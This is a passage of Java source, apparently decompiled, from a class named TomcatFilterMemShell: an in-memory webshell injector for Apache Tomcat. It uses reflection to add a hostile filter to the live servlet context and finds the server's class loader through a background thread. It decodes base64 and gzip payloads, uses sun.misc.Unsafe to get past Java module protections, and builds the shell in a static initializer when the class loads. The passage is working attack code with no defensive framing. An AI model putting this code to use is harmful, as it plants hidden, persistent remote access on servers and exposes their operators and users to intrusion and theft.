                invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
            } catch (Exception var11) {
                invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
            }

            constructors[0].setAccessible(true);
            Object filterConfig = constructors[0].newInstance(context, filterDef);
            Map filterConfigs = (Map)getFV(context, "filterConfigs");
            filterConfigs.put(filterName, filterConfig);
        } catch (Exception var13) {
            var13.printStackTrace();
        }

    }

    public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
        ClassLoader catalinaLoader = null;

        for(int i = 0; i < threads.length; ++i) {
            if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
                catalinaLoader = threads[i].getContextClassLoader();
                break;
            }
        }

        return catalinaLoader;
    }

    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class decoderClass;
        try {
            decoderClass = Class.forName("sun.misc.BASE64Decoder");
            return (byte[])((byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str));
        } catch (Exception var4) {
            decoderClass = Class.forName("java.util.Base64");
            Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null);
            return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str));
        }
    }

    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
        GZIPInputStream ungzip = new GZIPInputStream(in);
        byte[] buffer = new byte[256];

        int n;
        while((n = ungzip.read(buffer)) >= 0) {
            out.write(buffer, 0, n);
        }

        return out.toByteArray();
    }

    static Object getFV(Object obj, String fieldName) throws Exception {
        Field field = getF(obj, fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }

    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
        Class<?> clazz = obj.getClass();

        while(clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field;
            } catch (NoSuchFieldException var4) {
                clazz = clazz.getSuperclass();
            }
        }

        throw new NoSuchFieldException(fieldName);
    }

    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
    }

    public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
        Method method = null;
        Class tempClass = clazz;

        while(method == null && tempClass != null) {
            try {
                if (paramClazz == null) {
                    Method[] methods = tempClass.getDeclaredMethods();

                    for(int i = 0; i < methods.length; ++i) {
                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
                            method = methods[i];
                            break;
                        }
                    }
                } else {
                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
                }
            } catch (NoSuchMethodException var11) {
                tempClass = tempClass.getSuperclass();
            }
        }

        if (method == null) {
            throw new NoSuchMethodException(methodName);
        } else {
            method.setAccessible(true);
            if (obj instanceof Class) {
                try {
                    return method.invoke((Object)null, param);
                } catch (IllegalAccessException var9) {
                    throw new RuntimeException(var9.getMessage());
                }
            } else {
                try {
                    return method.invoke(obj, param);
                } catch (IllegalAccessException var10) {
                    throw new RuntimeException(var10.getMessage());
                }
            }
        }
    }

    public static void bypassModule(Class currentClass) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Object unsafe = field.get(null);
        Object baseModule = Class.class.getMethod("getModule").invoke(Object.class);
        long offset = (long) invokeMethod(unsafe, "objectFieldOffset", new Class[]{Field.class}, new Object[]{Class.class.getDeclaredField("module")});
        invokeMethod(unsafe, "putObject", new Class[]{Object.class, long.class, Object.class}, new Object[]{currentClass, offset, baseModule});
    }

    static {
        new TomcatFilterMemShell();
    }
}